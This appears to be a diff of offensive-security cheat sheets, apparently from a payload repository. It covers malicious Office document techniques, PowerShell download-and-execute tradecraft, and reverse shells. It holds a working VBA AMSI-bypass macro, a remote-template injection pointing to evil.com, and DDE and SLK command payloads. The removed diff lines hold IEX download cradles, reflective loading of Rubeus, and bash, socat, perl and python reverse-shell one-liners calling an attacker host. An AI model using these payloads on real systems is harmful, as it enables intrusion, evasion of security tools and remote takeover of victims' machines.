OfficePurge.exe -d word -f .\malicious.doc -m NewMacros
|
|
||||||
OfficePurge.exe -d excel -f .\payroll.xls -m Module1
|
|
||||||
OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument
|
|
||||||
OfficePurge.exe -d word -f .\malicious.doc -l
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### EvilClippy
|
|
||||||
|
|
||||||
> Evil Clippy uses the OpenMCDF library to manipulate CFBF files.
|
|
||||||
> Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows.
|
|
||||||
> If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# OSX/Linux
|
|
||||||
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
|
|
||||||
# Windows
|
|
||||||
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
|
|
||||||
|
|
||||||
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
|
|
||||||
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
|
|
||||||
EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc
|
|
||||||
|
|
||||||
# make macro code unaccessible is to mark the project as locked and unviewable: -u
|
|
||||||
# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag.
|
|
||||||
EvilClippy.exe -r macrofile.doc
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## VBA - Offensive Security Template
|
|
||||||
|
|
||||||
* Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba
|
|
||||||
* Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process
|
|
||||||
* RunPE - https://github.com/itm4n/VBA-RunPE
|
|
||||||
* Spoof Parent - https://github.com/py7hagoras/OfficeMacro64
|
|
||||||
* AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba
|
|
||||||
* amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3
|
|
||||||
* VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba
|
|
||||||
|
|
||||||
## VBA - AMSI
|
|
||||||
|
|
||||||
> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
|
|
||||||
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).
|
|
||||||
|
|
||||||
The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro
|
|
||||||
|
|
||||||
* AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass
|
|
||||||
|
|
||||||
```vb
|
|
||||||
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
|
|
||||||
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
|
|
||||||
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
|
|
||||||
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
|
|
||||||
|
|
||||||
Private Sub Document_Open()
|
|
||||||
Dim AmsiDLL As LongPtr
|
|
||||||
Dim AmsiScanBufferAddr As LongPtr
|
|
||||||
Dim result As Long
|
|
||||||
Dim MyByteArray(6) As Byte
|
|
||||||
Dim ArrayPointer As LongPtr
|
|
||||||
|
|
||||||
MyByteArray(0) = 184 ' 0xB8
|
|
||||||
MyByteArray(1) = 87 ' 0x57
|
|
||||||
MyByteArray(2) = 0 ' 0x00
|
|
||||||
MyByteArray(3) = 7 ' 0x07
|
|
||||||
MyByteArray(4) = 128 ' 0x80
|
|
||||||
MyByteArray(5) = 195 ' 0xC3
|
|
||||||
|
|
||||||
AmsiDLL = LoadLibrary("amsi.dll")
|
|
||||||
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
|
|
||||||
result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
|
|
||||||
ArrayPointer = VarPtr(MyByteArray(0))
|
|
||||||
CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
|
|
||||||
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCX - Template Injection
|
|
||||||
|
|
||||||
:warning: Does not require "Enable Macro"
|
|
||||||
|
|
||||||
### Remote Template
|
|
||||||
|
|
||||||
1. A malicious macro is saved in a Word template .dotm file
|
|
||||||
2. Benign .docx file is created based on one of the default MS Word Document templates
|
|
||||||
3. Document from step 2 is saved as .docx
|
|
||||||
4. Document from step 3 is renamed to .zip
|
|
||||||
5. Document from step 4 gets unzipped
|
|
||||||
6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
|
|
||||||
```xml
|
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
|
||||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
|
|
||||||
```
|
|
||||||
```xml
|
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
|
|
||||||
Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships>
|
|
||||||
```
|
|
||||||
7. File gets zipped back up again and renamed to .docx
|
|
||||||
|
|
||||||
### Template Injections Tools
|
|
||||||
|
|
||||||
* https://github.com/JohnWoodman/remoteInjector
|
|
||||||
* https://github.com/ryhanson/phishery
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
|
|
||||||
[+] Opening Word document: good.docx
|
|
||||||
[+] Setting Word document template to: https://secure.site.local/docs
|
|
||||||
[+] Saving injected Word document to: bad.docx
|
|
||||||
[*] Injected Word document has been saved!
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## DOCX - DDE
|
|
||||||
|
|
||||||
* Insert > QuickPart > Field
|
|
||||||
* Right Click > Toggle Field Code
|
|
||||||
* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }`
|
|
||||||
|
|
||||||
## SLK - Excel
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
ID;P
|
|
||||||
O;E
|
|
||||||
NN;NAuto_open;ER101C1;KOut Flank;F
|
|
||||||
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
|
|
||||||
C;X1;Y102;K0;EHALT()
|
|
||||||
E
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/)
|
|
||||||
* [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/)
|
|
||||||
* [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/)
|
|
||||||
* [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/)
|
|
||||||
* [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/)
|
|
||||||
* [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/)
|
|
||||||
* [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/)
|
|
||||||
* [VBad - Pepitoh](https://github.com/Pepitoh/VBad)
|
|
||||||
* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
|
|
||||||
* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/)
|
|
||||||
* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)
|
|
||||||
* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/)
|
|
||||||
* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9)
|
|
||||||
* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)
|
|
||||||
* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros)
|
|
||||||
* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk)
|
|
||||||
* [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships)
|
|
||||||
* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/)
|
|
||||||
* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/)
|
|
||||||
* [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass)
|
|
||||||
* [Dechaining macros and evading EDR - Noora Hyvärinen](https://blog.f-secure.com/dechaining-macros-and-evading-edr/)
|
|
||||||
* [Executing macros from docx with remote - RedXORBlueJuly 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html)
|
|
||||||
* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/)
|
|
||||||
* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948)
|
|
||||||
* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23)
|
|
||||||
@@ -1,110 +1,17 @@
|
|||||||
# Powershell
|
# Powershell
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/)
|
||||||
|
|
||||||
* Execution Policy
|
- [Execution Policy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#execution-policy)
|
||||||
* Encoded Commands
|
- [Encoded Commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#encoded-commands)
|
||||||
* Download file
|
- [Constrained Mode](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#constrained-mode)
|
||||||
* Load Powershell scripts
|
- [Encoded Commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#encoded-commands)
|
||||||
* Load C# assembly reflectively
|
- [Download file](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#download-file)
|
||||||
* Secure String to Plaintext
|
- [Load Powershell scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#load-powershell-scripts)
|
||||||
* References
|
- [Load Chttps://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/# assembly reflectively](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#load-c-assembly-reflectively)
|
||||||
|
- [Call Win API using delegate functions with Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#call-win-api-using-delegate-functions-with-reflection)
|
||||||
## Execution Policy
|
- [Resolve address functions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#resolve-address-functions)
|
||||||
|
- [DelegateType Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#delegatetype-reflection)
|
||||||
```ps1
|
- [Example with a simple shellcode runner](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#example-with-a-simple-shellcode-runner)
|
||||||
powershell -EncodedCommand $encodedCommand
|
- [Secure String to Plaintext](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#secure-string-to-plaintext)
|
||||||
powershell -ep bypass ./PowerView.ps1
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#references)
|
||||||
|
|
||||||
# Change execution policy
|
|
||||||
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
|
|
||||||
Set-ExecutionPolicy Bypass -Scope Process
|
|
||||||
```
|
|
||||||
|
|
||||||
## Constrained Mode
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Check if we are in a constrained mode
|
|
||||||
# Values could be: FullLanguage or ConstrainedLanguage
|
|
||||||
$ExecutionContext.SessionState.LanguageMode
|
|
||||||
|
|
||||||
## Bypass
|
|
||||||
powershell -version 2
|
|
||||||
```
|
|
||||||
|
|
||||||
## Encoded Commands
|
|
||||||
|
|
||||||
* Windows
|
|
||||||
```ps1
|
|
||||||
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
|
|
||||||
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
|
|
||||||
$encodedCommand = [Convert]::ToBase64String($bytes)
|
|
||||||
```
|
|
||||||
* Linux: :warning: UTF-16LE encoding is required
|
|
||||||
```ps1
|
|
||||||
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
|
|
||||||
```
|
|
||||||
|
|
||||||
## Download file
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Any version
|
|
||||||
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
|
|
||||||
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
|
||||||
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
|
|
||||||
|
|
||||||
# Powershell 4+
|
|
||||||
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
|
||||||
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Load Powershell scripts
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Proxy-aware
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
|
|
||||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
|
|
||||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
|
|
||||||
|
|
||||||
# Non-proxy aware
|
|
||||||
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
|
|
||||||
```
|
|
||||||
|
|
||||||
## Load C# assembly reflectively
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Download and run assembly without arguments
|
|
||||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
|
|
||||||
$assem = [System.Reflection.Assembly]::Load($data)
|
|
||||||
[rev.Program]::Main()
|
|
||||||
|
|
||||||
# Download and run Rubeus, with arguments (make sure to split the args)
|
|
||||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
|
|
||||||
$assem = [System.Reflection.Assembly]::Load($data)
|
|
||||||
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
|
|
||||||
|
|
||||||
# Execute a specific method from an assembly (e.g. a DLL)
|
|
||||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
|
|
||||||
$assem = [System.Reflection.Assembly]::Load($data)
|
|
||||||
$class = $assem.GetType("ClassLibrary1.Class1")
|
|
||||||
$method = $class.GetMethod("runner")
|
|
||||||
$method.Invoke(0, $null)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Secure String to Plaintext
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
|
|
||||||
$user = "HTB\Tom"
|
|
||||||
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
|
|
||||||
$cred.GetNetworkCredential() | fl
|
|
||||||
UserName : Tom
|
|
||||||
Password : 1ts-mag1c!!!
|
|
||||||
SecurePassword : System.Security.SecureString
|
|
||||||
Domain : HTB
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
|
|
||||||
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)
|
|
||||||
@@ -1,582 +1,43 @@
|
|||||||
# Reverse Shell Cheat Sheet
|
# Reverse Shell Cheat Sheet
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheet/shell-reverse](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/)
|
||||||
|
|
||||||
* [Tools](#tools)
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#tools)
|
||||||
* [Reverse Shell](#reverse-shell)
|
- [Reverse Shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#reverse-shell)
|
||||||
* [Awk](#awk)
|
- [Awk](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#awk)
|
||||||
* [Automatic Reverse Shell Generator](#revshells)
|
- [Automatic Reverse Shell Generator](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#revshells)
|
||||||
* [Bash TCP](#bash-tcp)
|
- [Bash TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-tcp)
|
||||||
* [Bash UDP](#bash-udp)
|
- [Bash UDP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-udp)
|
||||||
* [C](#c)
|
- [C](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#c)
|
||||||
* [Dart](#dart)
|
- [Dart](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#dart)
|
||||||
* [Golang](#golang)
|
- [Golang](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#golang)
|
||||||
* [Groovy Alternative 1](#groovy-alternative-1)
|
- [Groovy Alternative 1](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#groovy-alternative-1)
|
||||||
* [Groovy](#groovy)
|
- [Groovy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#groovy)
|
||||||
* [Java Alternative 1](#java-alternative-1)
|
- [Java Alternative 1](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#java-alternative-1)
|
||||||
* [Java Alternative 2](#java-alternative-2)
|
- [Java Alternative 2](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#java-alternative-2)
|
||||||
* [Java](#java)
|
- [Java](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#java)
|
||||||
* [Lua](#lua)
|
- [Lua](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#lua)
|
||||||
* [Ncat](#ncat)
|
- [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#ncat)
|
||||||
* [Netcat OpenBsd](#netcat-openbsd)
|
- [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-openbsd)
|
||||||
* [Netcat BusyBox](#netcat-busybox)
|
- [Netcat BusyBox](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-busybox)
|
||||||
* [Netcat Traditional](#netcat-traditional)
|
- [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-traditional)
|
||||||
* [NodeJS](#nodejs)
|
- [NodeJS](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#nodejs)
|
||||||
* [OpenSSL](#openssl)
|
- [OGNL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#ognl)
|
||||||
* [Perl](#perl)
|
- [OpenSSL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#openssl)
|
||||||
* [PHP](#php)
|
- [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl)
|
||||||
* [Powershell](#powershell)
|
- [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#php)
|
||||||
* [Python](#python)
|
- [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#powershell)
|
||||||
* [Ruby](#ruby)
|
- [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python)
|
||||||
* [Socat](#socat)
|
- [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#ruby)
|
||||||
* [Telnet](#telnet)
|
- [Rust](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#rust)
|
||||||
* [War](#war)
|
- [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#socat)
|
||||||
* [Meterpreter Shell](#meterpreter-shell)
|
- [Telnet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#telnet)
|
||||||
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
|
- [War](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#war)
|
||||||
* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp)
|
- [Meterpreter Shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#meterpreter-shell)
|
||||||
* [Linux Staged reverse TCP](#linux-staged-reverse-tcp)
|
- [Windows Staged reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#windows-staged-reverse-tcp)
|
||||||
* [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp)
|
- [Windows Stageless reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#windows-stageless-reverse-tcp)
|
||||||
* [Other platforms](#other-platforms)
|
- [Linux Staged reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#linux-staged-reverse-tcp)
|
||||||
* [Spawn TTY Shell](#spawn-tty-shell)
|
- [Linux Stageless reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#linux-stageless-reverse-tcp)
|
||||||
* [References](#references)
|
- [Other platforms](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#other-platforms)
|
||||||
|
- [Spawn TTY Shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#spawn-tty-shell)
|
||||||
## Tools
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#references)
|
||||||
|
|
||||||
- [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) 
|
|
||||||
- [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
|
|
||||||
|
|
||||||
## Reverse Shell
|
|
||||||
|
|
||||||
### Bash TCP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
|
|
||||||
|
|
||||||
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
|
|
||||||
|
|
||||||
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Bash UDP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
Victim:
|
|
||||||
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
|
|
||||||
|
|
||||||
Listener:
|
|
||||||
nc -u -lvp 4242
|
|
||||||
```
|
|
||||||
|
|
||||||
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
|
|
||||||
|
|
||||||
### Socat
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
|
|
||||||
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
|
|
||||||
```
|
|
||||||
```powershell
|
|
||||||
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
|
|
||||||
```
|
|
||||||
|
|
||||||
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
|
|
||||||
|
|
||||||
### Perl
|
|
||||||
|
|
||||||
```perl
|
|
||||||
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
|
||||||
|
|
||||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
|
||||||
|
|
||||||
|
|
||||||
NOTE: Windows only
|
|
||||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Python
|
|
||||||
|
|
||||||
Linux only
|
|
||||||
|
|
||||||
IPv4
|
|
||||||
```python
|
|
||||||
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
